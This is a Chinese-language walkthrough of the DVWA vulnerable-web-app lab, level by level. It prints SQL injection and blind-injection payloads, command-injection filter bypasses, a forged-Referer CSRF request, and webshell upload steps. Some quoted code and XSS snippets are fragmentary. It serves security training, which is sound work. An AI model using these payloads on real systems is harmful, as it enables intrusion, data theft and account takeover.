目录
Burt Force(爆破)
(low)
(medium)
(high)
(impossible)
Command Injection(命令执行)
(low)
(medium)
(high)
(impossible)
CSRF(跨站请求攻击)
(low)
(medium)
(high)
(impossible)
File Inclusion(文件包含)
(low)
(medium)
(high)
(impossible)
File Upload(文件上传)
(low)
(medium)
(high)
(impossible)
Insecure CAPTCHA(不安全的验证码/不安全的验证流程)
(low)
(medium)
(high)
(impossible)
SQL Injection(sql注入)
(low)
(medium)
(high)
(impossible)
SQL Injection (Blind) (盲注)
(low)
方法一 布尔型盲注
(medium)
(high)
(impossible)
Weak Session IDs(弱会话id)
(low)
(medium)
(high)
(impossible)
DOM Based Cross Site Scripting (XSS)
(low)
(medium)
(high)
(impossible)
Reflected Cross Site Scripting (XSS)
(low)
(medium)
(high)
(impossible)
Stored Cross Site Scripting (XSS)
(low)
(medium)
(high)
(impossible)
Content Security Policy (CSP) Bypass
(low)
(medium)
(high)
(impossible)
JavaScript Attacks
(low)
(medium)
(high)
(impossible)
方法一:暴力破解
首先随便输一个账号密码进行抓包
抓包后发送到intruder模块
添加密码字典 开始暴力破解
根据长度可以得出密码为 password
破解成功
通过比较可以看出相比Low级别的代码,Medium级别的代码主要增加了mysql_real_escape_string函数,这个函数会对字符串中的特殊符号(x00,n,r,,’,”,x1a)进行转义,基本上能够抵御sql注入攻击, 同时增加了sleep(2) 破解失败 会停止运行两秒 但是仍然可以通过暴力破解 只不过相较于low级别慢一点
相较于medium级别 增加了token认证
先了解一下token
基于Token的身份验证的过程如下:
1.用户通过用户名和密码发送请求。
2.服务器端程序验证。
3.服务器端程序返回一个带签名的token
给客户端。
4.客户端储存token
,并且每次访问API
都携带Token
到服务器端的。
5.服务端验证token
,校验成功则返回请求数据,校验失败则返回错误码。
请求中发送token
而不再是发送cookie
能够防止CSRF
(跨站请求伪造)。即使在客户端使用cookie
存储token
,cookie
也仅仅是一个存储机制而不是用于认证。不将信息存储在Session
中,让我们少了对session
操作。
token
是有时效的,一段时间之后用户需要重新验证。
因为token是随机的 所以破解时候token这一项也需要破解
将token和password两项设置为变量 攻击模式使用Pitchfork
选择options将线程数设置为1(递归查找,将上一个请求的相应token作为下一个请求的payload的token,所以就不并发)
Grep-Extract模块进行相应设置,获取相应的token,截取相应token的前后标识,用于下次截取
Redirections模块设置允许重定向,选择always
增加了账户锁定机制 防止爆破
用户可以执行恶意代码语句,在实战中危害比较高,也称作命令执行,一般属于高危漏洞
| 命令管道符
格式:第一条命令 | 第二条命令 [| 第三条命令...]
将第一条命令的结果作为第二条命令的参数来使用
& 组合命令
语法:第一条命令 & 第二条命令 [& 第三条命令...]
&、&&、||为组合命令,顾名思义,就是可以把多个命令组合起来当一个命令来执行。这在批处理脚本里是
允许的,而且用的非常广泛。因为批处理认行不认命令数目。
这个符号允许在一行中使用 2 个以上不同的命令,当第一个命令执行失败了,也不影响后边的命令执行。
这里&两边的命令是顺序执行的,从前往后执行。
&& 组合命令
语法:第一条命令 && 第二条命令 [&& 第三条命令...]
用这种方法可以同时执行多条命令,当碰到执行出错的命令后将不执行后面的命令,如果一直没有出错则
一直执行完所有命令
这个命令和上边的类似,但区别是,第一个命令失败时,后边的命令也不会执行
|| 组合命令
语法:第一条命令 || 第二条命令 [|| 第三条命令...]
用这种方法可以同时执行多条命令,当一条命令失败后才执行第二条命令,当碰到执行正确的命令后将不 执行后面的命令,如果没有出现正确的命令则一直执行完所有命令;
提示:组合命令和重定向命令一起使用必须注意优先级 管道命令的优先级高于重定向命令,重定向命令的优先级高于组合命令
先ping一下127.0.0.1
注入Windows命令
执行成功
low级别没有进行任何过滤 相比medium级别 将&&与;替换成了空字符 但依旧存在漏洞
可以用& | 或者使用 &;&(因为将;替换成空字符后就变成了&&)
观察high级别代码 可以看到 过滤了绝大多数的字符 但是认真观察会发现 过滤掉了 管道符加空格 所以依旧可以通过 使用管道符执行命令
$substitutions = array(
'&' => '',
';' => '',
'| ' => '',
'-' => '',
'$' => '',
'(' => '',
')' => '',
'`' => '',
'||' => '',
);
'',
';' => '',
'| ' => '',
'-' => '',
'$' => '',
'(' => '',
')' => '',
'`' => '',
'||' => '',
);
// Remove any of the charactars in the array (blacklist).
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );
// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// Feedback for the end user
$html .= "{$cmd}
";
}
?>
因此不存在注入漏洞
原理:指利用受害者尚未失效的身份认证信息(cookie、会话等),诱骗其点击恶意链接或者访问包含攻击代码的页面,在受害人不知情的情况下以受害者的身份向(身份认证信息所对应的)服务器发送请求,从而完成非法操作(如转账、改密等)。
流程:
步骤一
用户登录、浏览并信任正规网站WebA,同时,WebA通过用户的验证并在用户的浏览器中产生Cookie。
步骤二
攻击者WebB通过在WebA中添加图片链接等方式诱导用户User访问网站WebB。
步骤三
在用户User被诱导访问WebB后,WebB会利用用户User的浏览器访问第三方网站WebA,并发出操作请求。
步骤四
用户User的浏览器根据WebB的要求,带着步骤一中产生的Cookie访问WebA。
步骤五
网站WebA接收到用户浏览器的请求,WebA无法分辨请求由何处发出,由于浏览器访问时带上用户的Cookie,因此WebA会响应浏览器的请求,如此一来,攻击网站WebB就达到了模拟用户操作的目的。
查看源码
因为是low级别 可以直接修改32http://localhost:8004/vulnerabilities/csrf/?password_new=123&password_conf=123&Change=Change#
加上了对用户请求头的中的Referer字段进行验证 即用户的请求头中的Referer字段必须包含了服务器的名字
if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false )
所以就不能其他网页通过点开链接修改密码
需要伪造 referer
先正常访问dvwa 再抓包获取 referfer
再在其他网页打开http://127.0.0.1/dvwa1/vulnerabilities/csrf/?password_new=123&password_conf=123&Change=Change#rrrhttp://127.0.0.1/dvwa1/vulnerabilities/csrf/?password_new=123&password_conf=123&Change=Change#然后拦截 抓包
可以看到没有 referfer 我们可以自己加一个Referer字段,然后值只要设置成包含了主机头127.0.0.1就行了
然后放包就可以
相较于medium 增加了token 用户每次访问改密页面时,服务器都会返回一个随机的token,当浏览器向服务器发起请求时,需要提交token参数,而服务器在收到请求时,会优先检查token,只有token正确,才会处理客户端的请求
所以需要利用 xss漏洞获取token
prepare( 'SELECT password FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );
$data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
$data->bindParam( ':password', $pass_curr, PDO::PARAM_STR );
$data->execute();
// Do both new passwords match and does the current password match the user?
if( ( $pass_new == $pass_conf ) && ( $data->rowCount() == 1 ) ) {
// It does!
$pass_new = stripslashes( $pass_new );
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );
// Update database with new password
$data = $db->prepare( 'UPDATE users SET password = (:password) WHERE user = (:user);' );
$data->bindParam( ':password', $pass_new, PDO::PARAM_STR );
$data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
$data->execute();
// Feedback for the user
$html .= "Password Changed.
";
}
else {
// Issue with passwords matching
$html .= "Passwords did not match or current password incorrect.
";
}
}
// Generate Anti-CSRF token
generateSessionToken();
?>
可以看到修改了方式 只有知道 旧密码的前提下才能修改
一、文件包含与漏洞
文件包含:
开发人员将相同的函数写入单独的文件中,需要使用某个函数时直接调用此文件,无需再次编写,这种文件调用的过程称文件包含。
文件包含漏洞:
开发人员为了使代码更灵活,会将被包含的文件设置为变量,用来进行动态调用,从而导致客户端可以恶意调用一个恶意文件,造成文件包含漏洞。
二、文件包含漏洞用到的函数
require:找不到被包含的文件,报错,并且停止运行脚本。
include:找不到被包含的文件,只会报错,但会继续运行脚本。
require_once:与require类似,区别在于当重复调用同一文件时,程序只调用一次。
include_once:与include类似,区别在于当重复调用同一文件时,程序只调用一次。
没有进行任何过滤 导致可以进行任意包含文件
// The page we wish to display
$file = $_GET[ 'page' ];
// Input validation
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\\" ), "", $file );
把http://,https://,…/,…\替换成空字符串
输入绝对路径
?page=D:\phpstudy_pro\WWW\DVWA-master\vulnerabilities\fi\test.txt
fnmatch() 函数根据指定的模式来匹配文件名或字符串。
语法:fnmatch(pattern,string,flags)
这里如果输入的file名没有“file”,而且文件名不是include.php的话就会报错,
换句话说输入的文件名是含有file字符串或者是include.php,否则会报错
输入?page=file4.php
$file = $_GET[ 'page' ];
// Input validation
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
// This isn't the page we want!
echo "ERROR: File not found!";
exit;
}
$file = $_GET[ 'page' ];
// Only allow include.php or file{1..3}.php
if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" ) {
// This isn't the page we want!
echo "ERROR: File not found!";
exit;
}
写白名单,只允许包含上述四个文件
File Upload,即文件上传漏洞,通常是由于对上传文件的类型、内容没有进行严格的过滤、检查,使得攻击者可以通过上传木马获取服务器的webshell权限
审计原代码
Your image was not uploaded.
';
}
else {
// Yes!
$html .= "{$target_path} succesfully uploaded!"; } } ?>
可以看到,服务器对上传文件的类型、内容没有做任何的检查、过滤,存在明显的文件上传漏洞,生成上传路径后,服务器会检查是否上传成功并返回相应提示信息。
根据路径用蚁剑连接
连接成功
审计代码
Your image was not uploaded.
';
}
else {
// Yes!
$html .= "{$target_path} succesfully uploaded!"; } } else { // Invalid file $html .= '
Your image was not uploaded. We can only accept JPEG or PNG images.'; } } ?>
发现对文件类型和大小做出了限制 必须是jpeg 或者 png
修改文件后上传再抓包修改
将png修改为php 然后放包
然后根据路径用蚁剑连接
审计代码
Your image was not uploaded.
';
}
else {
// Yes!
$html .= "{$target_path} succesfully uploaded!"; } } else { // Invalid file $html .= '
Your image was not uploaded. We can only accept JPEG or PNG images.'; } } ?>
getimagesize(string filename)
函数会通过读取文件头,返回图片的长、宽等信息,如果没有相关的图片文件头,函数会报错。
可以看到,High级别的代码读取文件名中最后一个”.”后的字符串,期望通过文件名来限制文件类型,因此要求上传文件名形式必须是”*.jpg”
所以制作图片马
将图片与木马合并为图片
然后上传
审计代码
${target_file} succesfully uploaded!
";
}
else {
// No
$html .= 'Your image was not uploaded.'; } // Delete any temp files if( file_exists( $temp_file ) ) unlink( $temp_file ); } else { // Invalid file $html .= '
Your image was not uploaded. We can only accept JPEG or PNG images.'; } } // Generate Anti-CSRF token generateSessionToken(); ?>
可以看到,Impossible级别的代码对上传文件进行了重命名(为md5值,导致%00截断无法绕过过滤规则),加入Anti-CSRF token防护CSRF攻击,同时对文件的内容作了严格的检查,导致攻击者无法上传含有恶意脚本的文件。
审计代码
可以看到分为两个阶段 1.验证身份 2.检查两次密码是否一致 然后更改密码
The CAPTCHA was incorrect. Please try again.
";
$hide_form = false;
return;
}
else {
// CAPTCHA was correct. Do both new passwords match?
//验证通过时,匹配两次密码是否一致
if( $pass_new == $pass_conf ) {
// Show next stage for the user
echo "
"; } else { // Both new passwords do not match. $html .= "
You passed the CAPTCHA! Click the button to confirm your changes.
Both passwords must match."; $hide_form = false; } } } //第二阶段,检查两次密码是否一致,并更新密码 if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '2' ) ) { // Hide the CAPTCHA form $hide_form = true; // Get input $pass_new = $_POST[ 'password_new' ]; $pass_conf = $_POST[ 'password_conf' ]; // Check to see if both password match if( $pass_new == $pass_conf ) { // They do! $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); $pass_new = md5( $pass_new ); // Update database $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '
' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '' ); // Feedback for the end user echo "
Password Changed."; } else { // Issue with the passwords matching echo "
Passwords did not match."; $hide_form = false; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } ?>
打不开.
基本流程
1.判断是否存在注入,注入是字符型还是数字型
2.猜解SQL查询语句中的字段数
3.确定显示的字段顺序
4.获取当前数据库
5.获取数据库中的表
6.获取表中的字段名
7.下载数据
1.判断是否存在注入
输入 id=1 查看回显
输入 1 and 1=2 提交
尝试闭合 输入1' and 1=2提交
2.判断字段数
输入 1' order by 3# 出现错误 可以知道 字段数为2
3.确定显示的字段顺序
使用联合查询 1' union select 1,2# 看一下回显的位置
4.获取数据库和版本
输入 1' union select version(),database()#
则 1 2 对应的位置分别为版本号和数据库名称
5.获取数据库里的表
1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#
6.获取表中的字段名
7.获取数据
中级不能直接输入 只能通过选择 利用burp修改数据包,绕过防御。判断注入点,以及注入的类型
发送到 repeater模块
再注入点输入sql语句 同low级别 不做演示
审计源码
Something went wrong.
' );
// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
$html .= "ID: {$id}"; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); break; case SQLITE: global $sqlite_db_connection; $query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;"; #print $query; try { $results = $sqlite_db_connection->query($query); } catch (Exception $e) { echo 'Caught exception: ' . $e->getMessage(); exit(); } if ($results) { while ($row = $results->fetchArray()) { // Get values $first = $row["first_name"]; $last = $row["last_name"]; // Feedback for end user $html .= "
First name: {$first}
Surname: {$last}
ID: {$id}"; } } else { echo "Error in fetch ".$sqlite_db->lastErrorMsg(); } break; } } ?>
First name: {$first}
Surname: {$last}
可以看出,点击“here to change your ID”,页面自动跳转,防御了自动化的SQL注入,分析源码可以看到,对参数没有做防御,在sql查询语句中限制啦查询条数,可以通过burpsuit抓包,修改数据包实现绕过
步骤同上一级别
限制只能为数字 不存在注入
1.介绍
SQL盲注与一般注入的区别在于一般的注入攻击者可以直接从页面上看到注入语句的执行结果,而盲注时攻击者通常是无法从显示 页面上获取执行的结果,甚至连注入语句是否执行都无法得知。
2. 原理
盲注的话,就像跟一个机器人聊天,但是这个机器人只会回答“是”与“不是”,因此,得从一个大的范围去问是与不是,然后慢慢的缩小范围,最后就是类似于问“数据库名字的第一个字是不是a啊”这样的问题,通过这种机械的询问,最终得到我们想要的数据。
盲注分为:基于布尔的盲注、基于时间的盲注、基于报错的盲注
3.盲注的一般步骤
判断是否存在注入、注入是字符型还是数字型
猜解当前数据库名
猜解数据库中的表名
猜解表中的字段名
猜解数据
布尔型盲注
1.布尔盲注利用前提
页面没有显示位,没有输出SQL语句执行错误信息,只能通过页面返回正常不正常来判断是否存在注入。
2.布尔盲注利用
该语句判断数据库个数,当数据库个数大于n页面显示正常
(select count(schema_name) from information_schema.schemata)> n
该语句判断数据库内第一个数据库名有多少字符,字符个数大于n页面显示正常
(select length(schema_name) from information_schema.schemata limit 0,1)> n
该语句判断第一个库第一个字符是什么,ascii值大于n页面显示正常
(select ascii(substr((select schema_name from information_schema.schemata limit 0,1),1,1)))>n
时间盲注
1.时间盲注利用前提
页面上没有显示位,也没有输出SQL语句执行错误信息。 正确的SQL语句和错误的SQL语句返回页面都一样,但是加入sleep(5)条件之后,页面的返回速度明显慢了5秒。
2.时间盲注利用
该语句判断数据库个数,当数据库个数等于n页面返回延迟5秒
if((select count(schema_name) from information_schema.schemata)=n,sleep(5),1)
该语句判断数据库内第一个数据库名有多少字符,字符个数等于n页面返回延迟5秒
if((select length(schema_name) from information_schema.schemata limit 0,1)=n,sleep(5),1)
该语句判断第一个库第一个字符是什么,ascii值等于n页面返回延迟5秒
if((select ascii(substr((select schema_name from information_schema.schemata limit 0,1),1,1)))=n,sleep(5),1)
先输入
输入1
显示存在
输入1 and 1=1 或 1 and 1=2
均显示存在
输入1' and 1=1 #
显示存在(这三种都显示存在)
输入1' and 1=2 #
不存在
存在注入
1.查数据库前要先判断数据库的长度
依次输入1' and length(database())=x #(x为大于等于1的整数)
当显示存在时即为数据库长度
发现当x=4时显示存在,故数据库长度为4
2.二分法找数据库名
依次输入1' and ascii(substr(databse(),1,1))>或<字母的ascii值 #通过比较输入字母的ascii值的显示正常与否来逐个确定库名
输入1’ and ascii(substr(databse(),1,1))>97 #,显示存在,说明数据库名的第一个字符的ascii值大于97(小写字母a的ascii值); 输入1’ and ascii(substr(databse(),1,1))<122 #,显示存在,说明数据库名的第一个字符的ascii值小于122(小写字母z的ascii值); 输入1’ and ascii(substr(databse(),1,1))<109 #,显示存在,说明数据库名的第一个字符的ascii值小于109(小写字母m的ascii值);
以此类推 最后可以得到 数据库名称 dvwa
因为效率太低 可以使用脚本
3.找数据库中的表
首先确定数据库中表的数量
1' and (select count (table_name) from information_schema.tables where table_schema=database())=x # (x为大于等于1的整数)
当显示存在时即可判断表的数量
最终当x=2显示存在即表的数量为2
然后确定表的长度
1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=x #(x为大于等于1的整数)
当显示存在时即可判断表的长度
当x=9显示存在即表的长度为9
然后同样二分法确定表名
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>或<字母的ascii值 #
通过比较输入字母的ascii值的显示正常与否来逐个确定表名 步骤同第二步
4.找字段名
同上一步 先确定数量 再用二分法确定名称
抓包修改 同上一关
使用时间类型注入
1.判断注入类型
输入1’ and sleep(6) #,有明显延迟;
输入1 and sleep(6) #,没有延迟;
说明为字符型盲注
2.找库名
先确定库名长
1' and if(length(database())=1,sleep(5),1) # 没有延迟
......
1' and if(length(database())=4,sleep(5),1) # 明显延迟
库名长度为4
然后通过二分法找库名
1’ and if(ascii(substr(database(),1,1))>97,sleep(5),1)# 明显延迟
...
1’ and if(ascii(substr(database(),1,1))<100,sleep(5),1)# 没有延迟
1’ and if(ascii(substr(database(),1,1))>100,sleep(5),1)# 没有延迟
说明数据库名的第一个字符为小写字母d。
...
重复上述步骤即可找到库名(同上面)
3.找库中表名
先确定表的数量
1’ and if((select count(table_name) from information_schema.tables where table_schema=database() )=1,sleep(5),1)# 没有延迟
1’ and if((select count(table_name) from information_schema.tables where table_schema=database() )=2,sleep(5),1)# 明显延迟
可以确定表的数量为2
然后确定表的长度
1’ and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=1,sleep(5),1) # 没有延迟
...
1’ and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9,sleep(5),1) # 明显延迟
可以确定第一个表的长度为9
最后二分法找到表名
4.找表中的字段
先确定字段的数量
1’ and if((select count(column_name) from information_schema.columns where table_name= ’users’)=1,sleep(5),1)# 没有延迟
...
1’ and if((select count(column_name) from information_schema.columns where table_name= ’users’)=8,sleep(5),1)# 明显延迟
可以确定users字段的数量为8
然后依次确定字段名
1’ and if(length(substr((select column_name from information_schema.columns where table_name= ’users’ limit 0,1),1))=1,sleep(5),1) # 没有延迟
...
1’ and if(length(substr((select column_name from information_schema.columns where table_name= ’users’ limit 0,1),1))=7,sleep(5),1) # 明显延迟
说明users表的第一个字段长度为7
最后再用二分法确定字段名
审计代码
0); // The '@' character suppresses errors
} catch(Exception $e) {
$exists = false;
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
break;
case SQLITE:
global $sqlite_db_connection;
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
try {
$results = $sqlite_db_connection->query($query);
$row = $results->fetchArray();
$exists = $row !== false;
} catch(Exception $e) {
$exists = false;
}
break;
}
if ($exists) {
// Feedback for end user
$html .= 'User ID exists in the database.
';
}
else {
// Might sleep a random amount
if( rand( 0, 5 ) == 3 ) {
sleep( rand( 2, 4 ) );
}
// User wasn't found, so the page wasn't!
header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );
// Feedback for end user
$html .= 'User ID is MISSING from the database.
';
}
}
?>
high级别利用cookie传id 当查选不到结果时 会随机sleep 所以用布尔型盲注 方法同low级别 不过需要抓包在 cookie中修改id
与 上关防御方式一样
简介:
用户登录后,在服务器就会创建一个会话(session),叫做会话控制,接着访问页面的时候就不用登录,只需要携带Sesion去访问。
sessionID作为特定用户访问站点所需要的唯一内容。如果能够计算或轻易猜到该sessionID,则攻击者将可以轻易获取访问限,无需录直接进入特定用户界面,进而进行其他操作。
用户访问服务器的时候,在服务器端会创建一个新的会话(Session),会话中会保存用户的状态和相关信息,用于标识用户。
服务器端维护所有在线用户的Session,此时的认证,只需要知道是哪个用户在浏览当前的页面即可。为了告诉服务器应该使
用哪一个Session,浏览器需要把当前用户持有的SessionID告知服务器。用户拿到session id就会加密后保存到 cookies 上,
之后只要cookies随着http请求发送服务器,服务器就知道你是谁了。SessionID一旦在生命周期内被窃取,就等同于账户失窃。
Session利用的实质 :
由于SessionID是用户登录之后才持有的唯一认证凭证,因此黑客不需要再攻击登陆过程(比如密码),就可以轻易获取访问权限,无需登录密码直接进入特定用户界面, 进而查找其他漏洞如XSS、文件上传等等。
Session劫持 :
就是一种通过窃取用户SessionID,使用该SessionID登录进目标账户的攻击方法,此时攻击者实际上是使用
了目标账户的有效Session。如果SessionID是保存在Cookie中的,则这种攻击可以称为Cookie劫持。SessionID还可以保存
在URL中,作为一个请求的一个参数,但是这种方式的安全性难以经受考验。
可以看到按一下按钮sessionid+1,并且设置到cookie中
抓包
根据上面的数据 用hacker提交cookie
审计代码
medium级别是基于时间戳生成dvwaSesion的,关于时间戳转换,直接查找转换器进行转换即可
审计代码
sessionid每次递增之后转换成md5,另外还设置了sessionid有效期
DOM型XSS攻击,不存在服务器端代码,所以没有与服务器端进行交互,只是在操作DO(文件对象),也就是HTML元素,攻击者可以构造js代码,闭合元素标签执行恶意的js代码
xss常用语句
直接构造js代码
提交 成功执行
查看源码
因为过滤了script标签 所以通过使用img标签 但是前提要把option和select标签闭合
输入?default=>/option>
审计代码
设置了白名单 只允许 靶场中四个选项 但是因为#后面的东西不会发送到服务端 所以可以通过加#绕过 步骤和上面一样 只不过需要加上#
新增条件服务器不进行url的解码
我们的浏览器在请求页面的时候都会自动进行一次url的编码,但是服务器不解码,得到的内容都是url编码。
这意味着,我们提交的数据都是url编码,没有实际意义
反射型XSS是非持久性、参数型的跨站脚本。
反射型XSS的代码在Web应用参数中,例如搜索框的反射型XSS。
审计代码
Hello ' . $_GET[ 'name' ] . '
';
}
?>
直接通过$_GET方式获取name的值,之后未进行任何编码和过滤,导致用户输入一段js脚本会执行。
审计代码
', '', $_GET[ 'name' ] );
// Feedback for end user
$html .= "Hello ${name}
";
}
?>
对 ,strip_tags函数把 "; } $page[ 'body' ] .= '
';这个网页可以生成js文件然后映射到一个url上 把这个网址放在dvwa包含,成功显示内容
审计代码
alert(1)
?>
Whatever you enter here gets dropped directly into the page, see if you can get an alert box to pop up.
';
#
http头信息中的script-src的合法来源发生了变化,说明如下 unsafe-inline,允许使用内联资源,如内联< script>元素,javascript:URL,内联事件处理程序(如onclick)和内联< style>元素。必须包括单引号。 nonce-source,仅允许特定的内联脚本块,nonce=“TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA” 现在更加简单了,可以直接输入以下代码
没有输入框
找到它的high.js脚本看到点击按钮调用函数,然后在函数中新增一行代码alert(document.cookie);
查看源码 发现token由前台生成 并且通过md5进行加密
str_rot13() 函数对字符串执行 ROT13 编码。
ROT13 编码把每一个字母在字母表中向前移动 13 个字母。数字和非字母字符保持不变。
可以看到只要token等于md5加密success全体移动13个字母后的字母,就能通过。
对应后 结果为结果fhpprff 进行md5加密 然后抓包修改token即可
所以,在输入框输入 “success” 之后,在控制台中,输入do_elsesomething("XX")
就可以了。
完全看不懂 而 http://deobfuscatejavascript.com 中提供的功能是,把混淆后的代码转成人类能看懂一些 js 代码
这里生成 token 的步骤是:
1、执行token_part_1("ABCD", 44)
2、执行token_part_2("XX")(原本是延迟 300ms执行的那个)
3、点击按钮的时候执行 token_part_3
所以我们在输入框输入 success 后,再到控制台中输入token_part_1("ABCD", 44)和token_part_2("XX")这两个函数就可以了。